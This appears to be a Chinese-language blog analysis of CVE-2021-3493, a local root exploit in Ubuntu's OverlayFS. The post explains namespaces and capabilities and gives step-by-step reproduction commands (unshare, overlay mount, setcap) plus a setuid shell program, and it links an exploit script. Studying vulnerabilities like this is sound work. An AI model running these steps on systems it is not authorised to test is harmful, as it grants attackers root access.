CVE-2021-3493 Ubuntu OverlayFS 本地提权漏洞分析

B 站 [1] 看见该漏洞的分析视频,并且到目前,我在内网也用到很多次该漏洞提权,也正好学习一下。CVE-2021-3493 是由于 Linux 内核中的 OverlayFS 文件系统没有正确根据 user namespace 校验 capability 权限,从而导致普通用户可以利用该漏洞进行权限提升。漏洞已在内核版本 5.11 修复,漏洞影响系统版本:

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

前置知识

OverlayFS

OverlayFS 是一个面向 Linux 的文件系统服务,其实现一个面向其他文件系统的联合挂载。[2] 文章 How containers work: overlayfs 很清晰地介绍了 OverlayFS 的工作原理。它可以将多个文件夹里的内容合并到同一个文件夹里,其主要用途是支持 Docker。比如有一个 Docker 的镜像,该镜像可以创建多个容器,以镜像启动的每个容器都是原始空白状态,对于大的容器镜像,复制一份既浪费磁盘空间又很慢。因此 Docker 不会复制,而是采用 OverlayFS 的叠加方式。 OverlayFS 可以使用 2 个目录挂载文件系统:『下层』目录和『上层』目录。

  • 『下层』目录是只读的,对应镜像中最基础的文件

  • 『上层』目录可以读写,对应容器中的独占数据

可以在 Linux 系统中操作一下以加深对 OverlayFS 的理解。

mkdir ovlcap && cd ovlcap/
mkdir work # 用于临时工作的目录,必须是空文件夹
mkdir lower && touch lower/l1.txt # 文件系统的下层目录
mkdir upper && touch upper/u2.txt # 文件系统的上层目录
mkdir merged
mount -t overlay overlay -o lowerdir=./lower,upperdir=./upper,workdir=./work ./merged
ls merged/

202203222135676

Linux capabilities

在 Linux capabilities 机制出现前,进程的权限可以简单分为两类,第一类是特权用户的进程(进程的 euid=0,简单来说你可以认为它就是 root 用户的进程),第二类是非特权用户的进程(进程的 euid 非 0,可以理解为非 root 用户进程)。 在 Linux 内核 2.2 之后引入了 capabilities 机制,来对 root 权限进行更加详细的划分,这样被划分出来的每个单元就被称为 capability。如果进程不是特权进程,而且也没有 root 的有效 id ,系统就会去检查进程的 capabilities,来确认该进程是否有执行特权操作的的权限。 几个常见的 capability 见下表:

capability 名称功能描述
CAP_CHOWN修改文件所有者的权限
CAP_KILL允许对不属于自己的进程发送信号
CAP_SETFCAP允许为文件设置任意的 capabilities
CAP_SETUID允许改变进程的 UID

User namespace

namespace [3] 是 Linux 内核用来隔离内核资源的方式。通过 namespace 可以让一些进程只能看到与自己相关的一部分资源,而另外一些进程也只能看到与它们自己相关的资源,这两拨进程根本就感觉不到对方的存在。具体的实现方式是把一个或多个进程的相关资源指定在同一个 namespace 中。Linux namespace 的主要目的是实现虚拟化(容器)服务。 Linux 中可以通过 unshare 命令来体会一下 namespace。 --fork:执行 unshare 的进程 fork 一个新的子进程,在子进程里执行 unshare 传入的参数。 --pid:不从父进程继承 pid 的 namespace。也就是说,在子进程内执行 ps,无法看到父进程原有的进程。

unshare --pid --fork /bin/bash
mount -t proc proc /proc
ps -ef

202203222135680

可以看到 /bin/bash 进程的 pid 为 1,但这只是在 namespace 中而已,外部 pid 为 1 的进程依然是 init。 202203222136514

漏洞复现

该漏洞是通过创建一个 namespace,在 namespace 中通过 OverlayFS 赋予某文件 capability 权限,结果由于程序检查不严,该权限逃逸到现实环境而造成的权限提升漏洞。 在普通用户下创建 work、lower、upper 和 merged 文件夹,作为 OverlayFS 的挂载点。并在『上层』目录 upper 文件夹中写入一个 1.c 源文件,内容如下:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>

int main(){
 int res;
 res = setuid(0);
 printf("%d\n", res);
 res = setgid(0);
 printf("%d\n", res);
 execve("/bin/sh", 0, 0);
 return 0;
}

该源文件现打印目前的 uid 和 gid,再调用 uid 和 gid 为 0 的 /bin/sh ,成功编译。 202203222138195 利用 unshare 命令创建一个命名空间内部为 root 权限的 bash

unshare --fork --user --mount --map-root-user

202203222139181 虽然变成了 root 但是目前并不能够访问 root 用户文件,再挂载 OverlayFS,随后设置 a.out的 capability 为 eip。因为 capabilities 机制对 root 权限进行更加详细的划分,被划分出来的每个单元被称为 capability,而设置 eip 意思就是说包含所有的权限单元。

mount -t overlay overlay -o lowerdir=./lower,upperdir=./upper,workdir=./work ./merged
setcap CAP_SETUID=eip merged/a.out

在 namespace 中设置了可执行文件 a.out 的 capability,按道理说外层环境应该是不受 namespace 内的影响,但是该漏洞问题就出在这里。退出该虚拟环境后在其『上层』目录 upper 文件夹中 a.out 已经受到了影响。执行它也是成功获得 root 权限。 202203222139998

当然,以上只是分部边理解边利用,实际提权可以利用脚本:https://github.com/briskets/CVE-2021-3493

漏洞原因

内核源码中的 cap_convert_nscap() 函数用来校验权限,包括文件所属的 namespace 与当前环境的 namespace 是否一致,以及当前用户是否具有 CAP_SETFCAP(允许为文件设置任意的 capabilities)的权限。 202203222140915vfs_setxattr() 函数并没有调用 cap_convert_nscap() 函数来进行校验,没有检查程序与环境的 namespace 是否一致。 202203222141981 修复方案就是将 setxattr() 中的 cap_convert_nscap()校验函数移动到了 vfs_setxattr()中。 202203222141350

修复显示错误
加载评论